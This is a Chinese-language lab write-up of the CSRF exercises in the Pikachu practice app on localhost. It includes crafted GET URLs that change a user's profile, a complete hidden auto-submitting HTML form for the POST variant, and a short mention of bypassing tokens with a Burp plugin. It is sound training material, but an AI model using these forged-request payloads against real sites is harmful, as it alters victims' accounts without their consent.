CSRF:
介紹:
Cross-site request forgery簡稱為"CSRF”。
在CSF的攻擊場景中攻擊者會偽造一個請求(這個請求一般是一個鏈接)
然后欺騙目標用戶進行點擊,用戶一旦點擊了這個請求,整個攻擊也就完成了(本題是修改個人信息)。
所以CSRF攻擊也被稱為為"one click'"攻擊。
1.CSRF(get):
我們先登錄lucy的賬號,點擊修改信息,順便用bp抓個包。
成功抓到數據包,看到get請求:
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
http://127.0.0.1/pikachu//vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
我們把性別改成男:
http://127.0.0.1/pikachu//vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
若lucy此時登錄了該網站,點擊了我們構造的 url 就會修改個人信息。
這里也可以使用一些短鏈接的方式。lucy訪問該網站即可修改信息。
2.CSRF(post):
這里依舊拿lucy的個人信息實驗,我們點擊隨便修改一下個人信息,順便bp抓包。
此時 lucy 信息:
post傳參的話,需要我們自己創一個表單,進行提交。
sex=boy&phonenum=111111&add=beijing&email=lucy%40pikachu.com&submit=submit
--------------------
我們自己創一個html的文件,放到服務器上,
<html><script> <!-- 這個script是用來自動提交表單的 -->window.onload = function() {document.getElementById("submit").click();}</script> <body><form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="boy" /><input type="hidden" name="phonenum" value="111222" /><input type="hidden" name="add" value="beijing" /><input type="hidden" name="email" value="lucy@pikachu.com" /><input type="hidden" name="submit" value="submit" /><input id="submit" type="submit" value="Submit request" style="display:none"/> <!-- style設置為display:none起到隱藏submit按鈕的作用 --></form></body>
</html>
利用phpstudy將文件路徑放到pikachu目錄下,訪問后修過成功。
http://127.0.0.1/pikachu/srf_post.php
3.CSRF Token:
這個時候,我們可以利用 burp suite 的插件 CSRF Token Tracker 來繞過
此時lucy個人信息如下,和抓包信息。
插件信息:
修改數據包,刷新lucy的個人信息即可發現數據被更改。